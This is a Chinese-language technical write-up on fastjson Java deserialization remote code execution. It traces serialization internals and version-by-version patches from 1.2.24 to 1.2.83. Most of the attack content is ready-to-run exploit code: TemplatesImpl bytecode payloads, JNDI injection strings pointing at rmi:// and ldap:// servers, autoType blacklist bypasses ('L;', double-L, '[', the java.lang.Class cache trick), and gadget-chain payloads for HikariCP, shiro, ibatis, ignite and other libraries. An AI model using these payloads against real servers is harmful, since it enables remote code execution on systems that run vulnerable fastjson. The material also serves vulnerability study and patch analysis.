前言
fastjson是阿里巴巴旗下的一个Java库,用于Java对象和JSON字符串之间的转换。
这个库从2017-2022年,陆陆续续爆出了20多个反序列化RCE。
官方采用黑名单的方式修复漏洞,这导致出现一系列的bypass= =
序列化分析
package Pojo;
import java.util.Properties;
public class User {
private String name;
private int age;
private String hobby;
private Properties properties;
public User() {
}
public String getName() {
System.out.println("调用了getName");
return name;
}
public void setName(String name) {
System.out.println("调用了setName");
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public String getHobby() {
return hobby;
}
public void setHobby(String hobby) {
this.hobby = hobby;
}
public Properties getProperties() {
System.out.println("调用了getProperties");
return properties;
}
@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", age=" + age +
", hobby='" + hobby + '\'' +
", properties=" + properties +
'}';
}
}
import Pojo.User;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.serializer.SerializeConfig;
import com.alibaba.fastjson.serializer.SerializerFeature;
// fastjson 1.2.24
public class Test0 {
public static void main(String[] args) throws Exception{
// 全局配置,不进ASM动态类
SerializeConfig.getGlobalInstance().setAsmEnable(false);
ParserConfig.getGlobalInstance().setAsmEnable(false);
User user = new User("Jasper", 22, "fuck some people");
// String s1 = JSON.toJSONString(user);
// System.out.println(s1);
String s2 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println("序列化后的字符串:"+s2);
System.out.println("-----------------------------------------------------");
}
}
调用了getName
序列化后的字符串:{"@type":"Pojo.User","age":22,"hobby":"fuck some people","name":"Jasper"}
为什么会调getter
宏观上理解,为了把对象转JSON,需获取对象的属性值。要么调getter取值,要么反射取值,这里用的前者。
get:450, FieldInfo
getPropertyValueDirect:110, FieldSerializer
write:196, JavaBeanSerializer
write:275, JSONSerializer
toJSONString:559, JSON
toJSONString:548, JSON
main:16, Test0
构造JSON字符串的地方
核心在这个try-catch里,上面的调用getter取值也在这里面。
write:196, JavaBeanSerializer
write:275, JSONSerializer
toJSONString:559, JSON
toJSONString:548, JSON
main:16, Test0
反序列化分析
import Pojo.User;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.serializer.SerializeConfig;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class Test0 {
public static void main(String[] args) throws Exception{
// 全局配置,不进ASM动态类
SerializeConfig.getGlobalInstance().setAsmEnable(false);
ParserConfig.getGlobalInstance().setAsmEnable(false);
String s2 = "{\"@type\":\"Pojo.User\",\"age\":22,\"hobby\":\"fuck some people\",\"name\":\"Jasper\",\"properties\":{}}";
System.out.println("---------------parse-------------------------");
Object parse = JSON.parse(s2);
System.out.println(parse);
System.out.println("反序列化对象所属类:"+parse.getClass().getName());
System.out.println("---------------parseObject-----------------------------");
Object parse1 = JSON.parseObject(s2);
System.out.println(parse1);
System.out.println("反序列化对象所属类:"+parse1.getClass().getName());
System.out.println("---------------parseObject---------------------------");
Object parse2 = JSON.parseObject(s2,Object.class);
System.out.println(parse2);
System.out.println("反序列化对象所属类:"+parse2.getClass().getName());
}
}
-----------------------------------------------------
调用了setName
调用了getProperties
User{name='Jasper', age=22, hobby='fuck some people', properties=null}
反序列化对象所属类:Pojo.User
-----------------------------------------------------
调用了setName
调用了getProperties
调用了getName
调用了getProperties
{"name":"Jasper","age":22,"hobby":"fuck some people"}
反序列化对象所属类:com.alibaba.fastjson.JSONObject
-----------------------------------------------------
调用了setName
调用了getProperties
User{name='Jasper', age=22, hobby='fuck some people', properties=null}
反序列化对象所属类:Pojo.User
Process finished with exit code 0
1.根据JSON字符串封装deserializer
宏观上看,此步骤依据一系列规则,选择出可以参与反序列化的field,存进fieldList,放入deserializer。
build:132, JavaBeanInfo
<init>:39, JavaBeanDeserializer
createJavaBeanDeserializer:586, ParserConfig
getDeserializer:461, ParserConfig
getDeserializer:312, ParserConfig
parseObject:367, DefaultJSONParser
parse:1327, DefaultJSONParser
parse:1293, DefaultJSONParser
parse:137, JSON
parse:128, JSON
main:16, Test0
当函数执行到return,获取到所有符合条件的field,里面有它对应的method,这是后面会调用到的。
这里面实际上就有很多分析文章里提到的,getter和setter需要满足的条件。
不满足下面这些if判断的method不会add进fieldList,也就不会在下一小节被调用。
setter需满足的条件
getter需满足的条件
2.调用deserializer#deserialize创建并初始化对象
核心逻辑就是,创建一个object变量,然后遍历前面获取的fieldList,对于每个field,调用其getter或者setter或者直接调用native set方法去给field赋值,然后返回object。
deserialze:271, JavaBeanDeserializer
deserialze:188, JavaBeanDeserializer
deserialze:184, JavaBeanDeserializer
parseObject:368, DefaultJSONParser
parse:1327, DefaultJSONParser
parse:1293, DefaultJSONParser
parse:137, JSON
parse:128, JSON
main:16, Test0
下面的图,给出了不同的field是如何设置属性值的。
parse和parseObject的区别
单参parseObject是parse的封装,在封装的末尾,多了一个JSON.toJSON(),转JSONObject类型的操作。
这个操作会调用obj对象的所有getter方法。
而双参parseObecjt则不会调用JSON.toJSON(),从调用getter/setter的角度相当于parse函数。
总结:单参parseObject先调用一遍parse能调用的setter和getter,然后再调用一遍object所有的getter;
双参parseObject在调getter/setter方面相当于parse。
1.2.22-1.2.24
TemplatsImpl链
本质上,就是利用fastjson的任意getter调用去调getOutputProperties,触发CC3后半的链条。
exp
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.util.Base64;
// fastjson 1.2.22-1.2.24
public class Test1TemplatesImpl {
public static void main(String[] args) throws Exception{
String codes = ClassFile2Base64("D:\\Calc.class");
String className = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String exp = String.format("{\"@type\":\"%s\",\"_bytecodes\": [\"%s\"],'_name':'jasper','_tfactory':{},'_outputProperties':{}}", className,codes);
JSON.parse(exp, Feature.SupportNonPublicField);
}
public static String ClassFile2Base64(String filePath){
byte[] buffer = null;
try {
FileInputStream fis = new FileInputStream(filePath);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int n;
while((n = fis.read(b))!=-1) {
bos.write(b,0,n);
}
fis.close();
bos.close();
buffer = bos.toByteArray();
}catch(Exception e) {
e.printStackTrace();
}
Base64.Encoder encoder = Base64.getEncoder();
String value = encoder.encodeToString(buffer);
return value;
}
}
缺点
- 要开Feature,挺鸡肋的
为什么加@type指定全类名
不加的话,parse函数不会触发getter和setter
为什么parse要加Feature参数
Feature.SupportNonPublicField,字面意思要允许给非public字段赋值,CC3这些字段都public的。
由此可见这条链其实很鸡肋。
为什么_bytecodes要base64编码
Fastjson解析到byte[]数组的时候,会对byte[]数组进行base64decode。
bytesValue:112, JSONScanner
deserialze:136, ObjectArrayCodec
parseArray:723, DefaultJSONParser
deserialze:177, ObjectArrayCodec
parseField:71, DefaultFieldDeserializer
parseField:773, JavaBeanDeserializer
deserialze:600, JavaBeanDeserializer
deserialze:188, JavaBeanDeserializer
deserialze:184, JavaBeanDeserializer
parseObject:368, DefaultJSONParser
parse:1327, DefaultJSONParser
parse:1293, DefaultJSONParser
parse:137, JSON
parse:193, JSON
main:13, Test1TemplatesImpl
为什么会触发getOutputProperties
前面我们知道parse函数触发getter比setter苛刻,但是getOutputProperties正好满足要求。
- TemplatesImpl里只有对应的getter没有setter,setter不会抢getter位置
- 函数名符合规范
- 非static
- 返回值是Properties,是Map接口的实现类
- 无参
JdbcRowSetImpl链
本质是触发JNDI注入。
exp
import com.alibaba.fastjson.JSON;
public class Test1JdbcRowSetImpl {
public static void main(String[] args) throws Exception{
String exp = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"rmi://localhost:1099/remoteObj\" ,\"AutoCommit\":false}";
JSON.parse(exp);
}
}
缺点
- 因为用的JNDI注入,受JDK版本限制
- 要能出网,不然无法加载远程类
利用链分析
JdbcRowSetImpl#connect有一个标准的JNDI注入
存在对应setter可以控制注入点
find usage看哪调了connect,在JdbcRowSetImpl#setAutoCommit调用了,以这个做为sink点即可。
为什么是DataSourceName而不是dataSource
注意到exp里写的并不是属性名dataSource,而是对应setter去掉set后的字符串DataSourceName。
这涉及到fastjson反序列化的属性赋值流程:
- 通过setter/getter截断前三字符,确定为propertyName
- 扫描JSON String,通过propertyName匹配到propertyValue(这是我们控制属性值的地方)
- 调用对应setter,setter(propertyValue)
显然,在第二步扫描JSON String的时候,用的propertyName是函数截断后的字符,而不一定是真的属性名。
以上面为例,第二步是按照dataSourceName去JSON String里找对应值,而不是按dataSource去找。
1.2.25-1.2.41
引入autoTypeSupport,默认为False,开启黑白名单校验与Bypass之路。
补丁分析
修改fastjson版本到1.2.25,再次运行上面的exp,程序抛出异常。
注意到异常抛出点:com.alibaba.fastjson.parser.ParserConfig.checkAutoType,下断点调试
checkAutoType:805, ParserConfig
parseObject:322, DefaultJSONParser
parse:1327, DefaultJSONParser
parse:1293, DefaultJSONParser
parse:137, JSON
parse:128, JSON
main:6, Test1JdbcRowSetImpl
默认情况下,会进入这个IF,对类名先黑名单校验,再白名单校验。
黑名单里有前两条链子指定的类,所以直接抛异常。
开启autoTypeSupport的方法
- JVM启动参数:-Dfastjson.parser.autoTypeSupport=true
- 代码中设置:ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
acceptList添加方法
- JVM启动参数:-Dfastjson.parser.autoTypeAccept=com.xx.a.,com.yy.
- 代码中设置:ParserConfig.getGlobalInstance().addAccept("com.xx.a");
- 配置文件配置:在1.2.25/26版本支持通过类路径的fastjson.properties文件来配置,配置方式如下:fastjson.parser.autoTypeAccept=com.taobao.pac.client.sdk.dataobject.,com.cainiao.
Exp
把@type对应的值改成:"L类名;",如下面的exp所示
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
// fastjson 1.2.25-1.2.41
public class Test2 {
public static void main(String[] args) throws Exception{
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String exp = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"rmi://localhost:1099/remoteObj\",\"autoCommit\":false}";
JSON.parse(exp);
}
}
限制
需要开启autoTypeSupport,有点鸡肋。
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
调试分析
按照exp的绕过方法,肯定是能过denyList的,问题是为什么那样写类名也能加载到,需要分析。
loadClass:1074, TypeUtils
checkAutoType:861, ParserConfig
parseObject:322, DefaultJSONParser
parse:1327, DefaultJSONParser
parse:1293, DefaultJSONParser
parse:137, JSON
parse:128, JSON
main:8, Test2
从下面可以看到,如果类名以"L"开头、以";"结尾,就会trim掉首尾的字符,然后递归调用loadClass。
所以这种绕过方法是能加载到类的,也就能正常执行exp了。
1.2.25-1.2.42
补丁分析
fastjson版本换到1.2.42,再次运行上面的exp,发现抛出异常了,检测到了上面那种类名写法。
被检测的到的原因,是开发人员在checkAutoType里,检测到前"L"后";"的类名,就提前trim一次。
另外,为了提高挖洞门槛,把denyList改成hash值了,不过github已经有项目跑出来了大部分黑名单类名。
Exp
把@type对应的值改成:"LL类名;;",即经典双写绕过,如下面的exp所示
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
// fastjson 1.2.25-1.2.42
public class Test3 {
public static void main(String[] args) throws Exception{
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String exp = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"rmi://localhost:1099/remoteObj\",\"autoCommit\":false}";
JSON.parse(exp);
}
}
限制
需要开启autoTypeSupport,有点鸡肋。
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
调试分析
这里问题在于它提前trim了一下我们的类名,但是实际上在后面的TypeUtils#loadClass里也会trim我们的类名,而且是递归trim,很容易想到双写绕过黑名单。
首先,在ParserConfig#checkAutoType里trim一下我们的类名,由于这里双写 ,可以过黑名单。
checkAutoType:906, ParserConfig
parseObject:311, DefaultJSONParser
parse:1338, DefaultJSONParser
parse:1304, DefaultJSONParser
parse:152, JSON
parse:162, JSON
parse:131, JSON
main:9, Test3
然后,我们进到TypeUtils#loadClass里,这里会递归trim我们的类名,最后加载到我们的类。
loadClass:1131, TypeUtils [3]
loadClass:1127, TypeUtils
loadClass:1144, TypeUtils [2]
loadClass:1127, TypeUtils
loadClass:1144, TypeUtils [1]
checkAutoType:975, ParserConfig
parseObject:311, DefaultJSONParser
parse:1338, DefaultJSONParser
parse:1304, DefaultJSONParser
parse:152, JSON
parse:162, JSON
parse:131, JSON
main:9, Test3
1.2.25-1.2.43
补丁分析
运行上个exp,报错,双写也被识别到了。
ParserConfig#checkAutoType下断点调试,看看怎么个事。
发现多加了一层IF,判断类名前两个字符是不是"L",是的话直接抛异常,这样双写肯定就失效了。
Exp
之前加"L;"的方法无法使用,但是还有加"["的方法,这是看TypeUtils#loadClass里处理类名的逻辑,自然想到的绕过方法,具体payload为什么是这样,看调试分析部分。
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
// fastjson 1.2.25-1.2.43
public class Test4 {
public static void main(String[] args) throws Exception{
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String exp = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"rmi://localhost:1099/remoteObj\",\"autoCommit\":false}";
JSON.parse(exp);
}
}
限制
需要开启autoTypeSupport,有点鸡肋。
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
调试分析
首先,我们看TypeUtils#loadClass,这里显示如果第一个字符是"[",就trim掉,然后再执行loadClass,这是我们所希望的。
于是我们构造payload如下:
String exp = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/remoteObj\",\"autoCommit\":false}";
调试分析,发现会抛出异常
parseArray:675, DefaultJSONParser
deserialze:183, ObjectArrayCodec
parseObject:373, DefaultJSONParser
parse:1338, DefaultJSONParser
parse:1304, DefaultJSONParser
parse:152, JSON
parse:162, JSON
parse:131, JSON
main:10, Test4
提示代码期待在指定位置","前面,加上"["符号。
于是我们改进payload如下,加上"["
String exp = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[,\"dataSourceName\":\"rmi://localhost:1099/remoteObj\",\"autoCommit\":false}";
再次抛出异常,提示我们在指定位置加上"{"符合。
于是我们再改进Payload如下:
String exp = "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"rmi://localhost:1099/remoteObj\",\"autoCommit\":false}";
成功执行命令。
1.2.25-1.2.45
补丁分析
运行上面的exp,会抛出异常,"["的绕过方式也被检测到了
开发者在ParserConfig#checkAutoType又加了校验,如果类名开头是"["直接抛出异常
Exp
利用mybatis的依赖里的类,去打Mybatis里的JNDI注入,因为JndiDataSourceFactory不在黑名单里。
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
// fastjson 1.2.25-1.2.45
public class Test5 {
public static void main(String[] args) throws Exception{
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String exp = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://localhost:1099/remoteObj\"}}";
JSON.parse(exp);
}
}
限制
需要目标服务端存在mybatis的jar包,版本要求:3.x.x<Version<3.5.0,也存在一些限制。
调试分析
JndiDataSourceFactory本来就不在黑名单里,自然就bypass了,这里只看一眼JNDI的地方。
setProperties:44, JndiDataSourceFactory
deserialze:-1, FastjsonASMDeserializer_1_JndiDataSourceFactory
deserialze:267, JavaBeanDeserializer
parseObject:384, DefaultJSONParser
parse:1356, DefaultJSONParser
parse:1322, DefaultJSONParser
parse:152, JSON
parse:162, JSON
parse:131, JSON
main:9, Test5
JndiDataSourceFactory#setProperties存在JNDI注入,和JdbcRowSetImpl链子基本一样,不再分析。
1.2.25-1.2.47
和之前的绕过思路不同,本质是利用java.lang.Class内置类将恶意类加载进缓存,然后再使用fastjson反序列化去加载这个恶意类时,就会走缓存而不会走黑名单校验,进而成功bypass。
Exp
import com.alibaba.fastjson.JSON;
// fastjson 1.2.25-1.2.47
public class Test6 {
public static void main(String[] args) throws Exception{
String exp = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/remoteObj\",\"autoCommit\":true}}";
JSON.parse(exp);
}
}
限制
不需要设置AutoTypeSupport,大大提高了可利用性!
下面是对Exp的影响,简单知道结论即可,无非是不同版本的checkAutoType里的逻辑有细微差别。
- 不开启AutoTypeSupport:1.2.25-1.2.47通杀
- 开启AutoTypeSupport:1.2.25-1.2.32报错,1.2.33-1.2.47打通
调试分析
这里默认不开启AutoTypeSupport,版本采用fastjson 1.2.47。
首先,在DefaultJSONParser#parseObject里解析JSON字符串,解析到第一个key是"a",当检查到下一个字符是"{"的时候,程序认为a的值是一个对象,于是递归调用parseObject函数去解析这个对象
parseObject:544, DefaultJSONParser
parse:1356, DefaultJSONParser
parse:1322, DefaultJSONParser
parse:152, JSON
parse:162, JSON
parse:131, JSON
main:6, Test6
然后,继续解析又发现对象的key为"@type",先调用checkAutoType()对传入的类名做检查
parseObject:316, DefaultJSONParser
parseObject:544, DefaultJSONParser
parse:1356, DefaultJSONParser
parse:1322, DefaultJSONParser
parse:152, JSON
parse:162, JSON
parse:131, JSON
main:6, Test6
显然可过检测,java.lang.Class是可以在HashMap里直接找到的,通过findClass直接加载到,不走黑名单。
checkAutoType:901, ParserConfig
parseObject:316, DefaultJSONParser
parseObject:544, DefaultJSONParser
parse:1356, DefaultJSONParser
parse:1322, DefaultJSONParser
parse:152, JSON
parse:162, JSON
parse:131, JSON
main:6, Test6
于是加载到java.lang.Class对象并返回,下面就以类型为java.lang.Class为前提,对JSON字符串反序列化
parseObject:384, DefaultJSONParser [2]
parseObject:544, DefaultJSONParser [1]
parse:1356, DefaultJSONParser
parse:1322, DefaultJSONParser
parse:152, JSON
parse:162, JSON
parse:131, JSON
main:6, Test6
java.lang.Class默认调用MiscCodec#deserialze,它要求传入的JSON字符串的key="val",不然抛异常;
deserialze:227, MiscCodec
parseObject:384, DefaultJSONParser
parseObject:544, DefaultJSONParser
parse:1356, DefaultJSONParser
parse:1322, DefaultJSONParser
parse:152, JSON
parse:162, JSON
parse:131, JSON
main:6, Test6
这也是payload为什么设置key为"val"的原因,如果key="val"的话,获取key的value,存入objVal/strVal
再调用TypeUtils#loadClass,加载key的value对应的类并返回,对应exp就是加载JdbcRowSetImpl对象并返回
到这里,实际上我们就已经达成了加载JdbcRowSetImpl类的目的,此时会在缓存mappings里存一份映射关系。
loadClass:1242, TypeUtils
loadClass:1206, TypeUtils
deserialze:335, MiscCodec
parseObject:384, DefaultJSONParser
parseObject:544, DefaultJSONParser
parse:1356, DefaultJSONParser
parse:1322, DefaultJSONParser
parse:152, JSON
parse:162, JSON
parse:131, JSON
main:6, Test6
接下来就是类似的,解析"b"的值是个对象,然后又发现里边的key="@type",走进checkAutoType里,但是这次它可以在mappings里找到JdbcRowSetImpl这个类,因为前面有缓存,直接在这返回,不走下面的黑名单。
getClassFromMapping:1202, TypeUtils
checkAutoType:949, ParserConfig
parseObject:316, DefaultJSONParser
parseObject:544, DefaultJSONParser
parse:1356, DefaultJSONParser
parse:1322, DefaultJSONParser
parse:152, JSON
parse:162, JSON
parse:131, JSON
main:6, Test6
至此,如图已绕过checkAutoType,加载到JdbcRowSetImpl这个类,后续利用JdbcRowSetImpl不再分析。
parseObject:319, DefaultJSONParser [2]
parseObject:544, DefaultJSONParser [1]
parse:1356, DefaultJSONParser
parse:1322, DefaultJSONParser
parse:152, JSON
parse:162, JSON
parse:131, JSON
main:6, Test6
1.2.25-1.2.59
漏洞分析
绕过禁用类黑名单。
Exp
package Poc;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.serializer.SerializeConfig;
/*
需开启AutoTypeSupport
<dependency>
<groupId>com.zaxxer</groupId>
<artifactId>HikariCP</artifactId>
<version>3.3.1</version>
</dependency>
*/
public class Poc_1_2_59 {
public static void main(String[] args) throws Exception{
// some configrations
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"com.zaxxer.hikari.HikariConfig\",\"metricRegistry\":\"ldap://localhost:1234/Calc\"}";
// String payload = "{\"@type\":\"com.zaxxer.hikari.HikariConfig\",\"healthCheckRegistry\":\"ldap://localhost:1234/Calc\"}";
JSON.parse(payload);
}
}
限制
- 需开启AutoTypeSupport
- 需要HikariCP组件
- 利用JNDI,受到JDK版本的限制
调试分析
暂无
1.2.25-1.2.61(复现失败)
漏洞分析
绕过黑名单
Exp
package Poc;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
/*
需要开启AutoTypeSupport
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-proxy</artifactId>
<version>1.0</version>
</dependency>
*/
public class Poc_1_2_61 {
public static void main(String[] args) {
ParserConfig.global.setAutoTypeSupport(true);
String payload = "{\"@type\":\"org.apache.commons.proxy.provider.remoting.SessionBeanProvider\",\"jndiName\":\"ldap://localhost:1234/Calc\",\"Object\":\"a\"}";
JSON.parse(payload);
}
}
限制
- 要开autoTypeSupport
- 要commons-proxy组件
- 利用了JNDI,有JDK版本限制
调试分析
暂无
1.2.25-1.2.62
JndiConverter链
补丁分析
绕过禁用类黑名单。
Exp
package Poc;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
/*
复现失败
需要开启autoTypeSupport
需要在JavaEE环境运行或含有javaee依赖
<dependency>
<groupId>slide</groupId>
<artifactId>slide-kernel</artifactId>
<version>2.1</version>
</dependency>
<dependency>
<groupId>cocoon</groupId>
<artifactId>cocoon-slide</artifactId>
<version>2.1.11</version>
</dependency>
<dependency>
<groupId>javax</groupId>
<artifactId>javaee-api</artifactId>
<version>8.0.1</version>
</dependency>
*/
public class Poc_1_2_62_a {
public static void main(String[] args) throws Exception{
// turn on autoTypeSupport
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"org.apache.cocoon.components.slide.impl.JMSContentInterceptor\", \"parameters\": {\"@type\":\"java.util.Hashtable\",\"java.naming.factory.initial\":\"com.sun.jndi.rmi.registry.RegistryContextFactory\",\"topic-factory\":\"ldap://127.0.0.1:1234/Calc\"}, \"namespace\":\"\"}";
JSON.parse(payload);
}
}
限制
- 需要开启autoTypeSupport
- 需要slide、cocoon和javaee组件
- 利用JNDI,受JDK版本限制
调试分析
暂无
CocoonSlide链
补丁分析
绕过禁用类黑名单。
Exp
package Poc;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
/*
需要开启autoTypeSupport
<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-reflect</artifactId>
<version>4.15</version>
</dependency>
*/
public class Poc_1_2_62_b {
public static void main(String[] args) throws Exception{
// some configrations
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"asText\":\"ldap://localhost:1234/Calc\"}";
JSON.parse(payload);
}
}
限制
- 需要开启autoTypeSupport
- 需要xbean-reflect组件
- 利用JNDI,受JDK版本限制
调试分析
暂无
1.2.25-1.2.66
shiro链
漏洞分析
绕过禁用类黑名单。
Exp
package Poc;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import java.rmi.server.ExportException;
/*
需要开启autoTypeSupport
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.2.4</version>
</dependency>
*/
public class Poc_1_2_66_a {
public static void main(String[] args) throws ExportException {
// turn on autoTypeSupport
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"org.apache.shiro.realm.jndi.JndiRealmFactory\", \"jndiNames\":[\"ldap://localhost:1234/Calc\"], \"Realms\":[\"\"]}";
JSON.parse(payload);
}
}
限制
- 需要开启autoTypeSupport
- 需要shiro组件
- 利用JNDI,受JDK版本限制
调试分析
暂无
anteros链
漏洞分析
绕过禁用类黑名单。
Exp
package Poc;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import java.rmi.server.ExportException;
/*
需要开启autoTypeSupport
<dependency>
<groupId>com.codahale.metrics</groupId>
<artifactId>metrics-healthchecks</artifactId>
<version>3.0.2</version>
</dependency>
<dependency>
<groupId>br.com.anteros</groupId>
<artifactId>Anteros-Core</artifactId>
<version>1.2.1</version>
</dependency>
<dependency>
<groupId>br.com.anteros</groupId>
<artifactId>Anteros-DBCP</artifactId>
<version>1.0.1</version>
</dependency>
*/
public class Poc_1_2_66_b {
public static void main(String[] args) throws ExportException {
// turn on autoTypeSupport
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\":\"ldap://localhost:1234/Calc\"}";
// String payload = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"healthCheckRegistry\":\"ldap://localhost:1234/Calc\"}";
JSON.parse(payload);
}
}
限制
- 需要开启autoTypeSupport
- 需要metrics-healthchecks、Anteros-Core、Anteros-DBCP组件
- 利用JNDI,受JDK版本限制
调试分析
暂无
IbatisSqlmap链
漏洞分析
绕过禁用类黑名单。
Exp
package Poc;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import java.rmi.server.ExportException;
/*
需要开启autoTypeSupport
<dependency>
<groupId>org.apache.ibatis</groupId>
<artifactId>ibatis-sqlmap</artifactId>
<version>2.3.4.726</version>
</dependency>
<dependency>
<groupId>javax</groupId>
<artifactId>javaee-api</artifactId>
<version>8.0.1</version>
</dependency>
*/
public class Poc_1_2_66_c {
public static void main(String[] args) throws ExportException {
// turn on autoTypeSupport
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\",\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":\"ldap://localhost:1234/Calc\"}}";
JSON.parse(payload);
}
}
限制
- 需要开启autoTypeSupport
- 需要ibatis-sqlmap、javaee组件
- 利用JNDI,受JDK版本限制
调试分析
暂无
1.2.25-1.2.67
igniteJta链
漏洞分析
禁用黑名单绕过。
Exp
package Poc;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import java.rmi.server.ExportException;
/*
需要开启autoTypeSupport
<dependency>
<groupId>org.apache.ignite</groupId>
<artifactId>ignite-jta</artifactId>
<version>2.8.0</version>
</dependency>
*/
public class Poc_1_2_67_a {
public static void main(String[] args) throws ExportException {
// turn on autoTypeSupport
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\", \"jndiNames\":[\"ldap://localhost:1234/Calc\"], \"tm\": {\"$ref\":\"$.tm\"}}";
JSON.parse(payload);
}
}
限制
- 需要开启autoTypeSupport
- 需要ignite-jta组件
- 利用JNDI,受JDK版本限制
调试分析
暂无
shiro链
漏洞分析
禁用黑名单绕过。
Exp
package Poc;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import java.rmi.server.ExportException;
/*
需要开启autoTypeSupport
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.2.4</version>
</dependency>
*/
public class Poc_1_2_67_b {
public static void main(String[] args) throws ExportException {
// turn on autoTypeSupport
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\",\"resourceName\":\"ldap://localhost:1234/Calc\",\"instance\":{\"$ref\":\"$.instance\"}}";
JSON.parse(payload);
}
}
限制
- 需要开启autoTypeSupport
- 需要shiro组件
- 利用JNDI,受JDK版本限制
调试分析
暂无
1.2.25-1.2.68
漏洞分析
利用expectClass绕过AutoType,不是黑名单绕过,不需要开autoTypeSupport。
Exp
package Poc;
import com.alibaba.fastjson.JSON;
public class Poc_1_2_68 {
public static void main(String[] args) throws Exception{
String payload = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"Poc.VulAutoCloseable\",\"cmd\":\"calc\"}";
JSON.parse(payload);
}
}
package Poc;
public class VulAutoCloseable implements AutoCloseable{
public VulAutoCloseable(String cmd) {
try {
Runtime.getRuntime().exec(cmd);
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void close() throws Exception {
}
}
限制
- 需要在Server端有实现了AutoCloseable的类或者子类
调试分析
暂无
1.2.25-1.2.83
漏洞分析
绕过禁用类黑名单。
利用springboot环境下的commons-dao组件,进行jndi注入。
Exp
package Poc;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
/*
需要开启autoTypeSupport
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.6.7</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<dependency>
<groupId>com.epam.reportportal</groupId>
<artifactId>commons-dao</artifactId>
<version>5.0.0</version>
</dependency>
*/
public class Poc_1_2_83 {
public static void main(String[] args) throws Exception{
// turn on autoTypeSupport
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\": \"com.epam.ta.reportportal.config.DataSourceConfig\",\"metricRegistry\": \"ldap://localhost:1234/Calc\"}";
JSON.parse(payload);
}
}
限制
- 需要开启autoTypeSupport
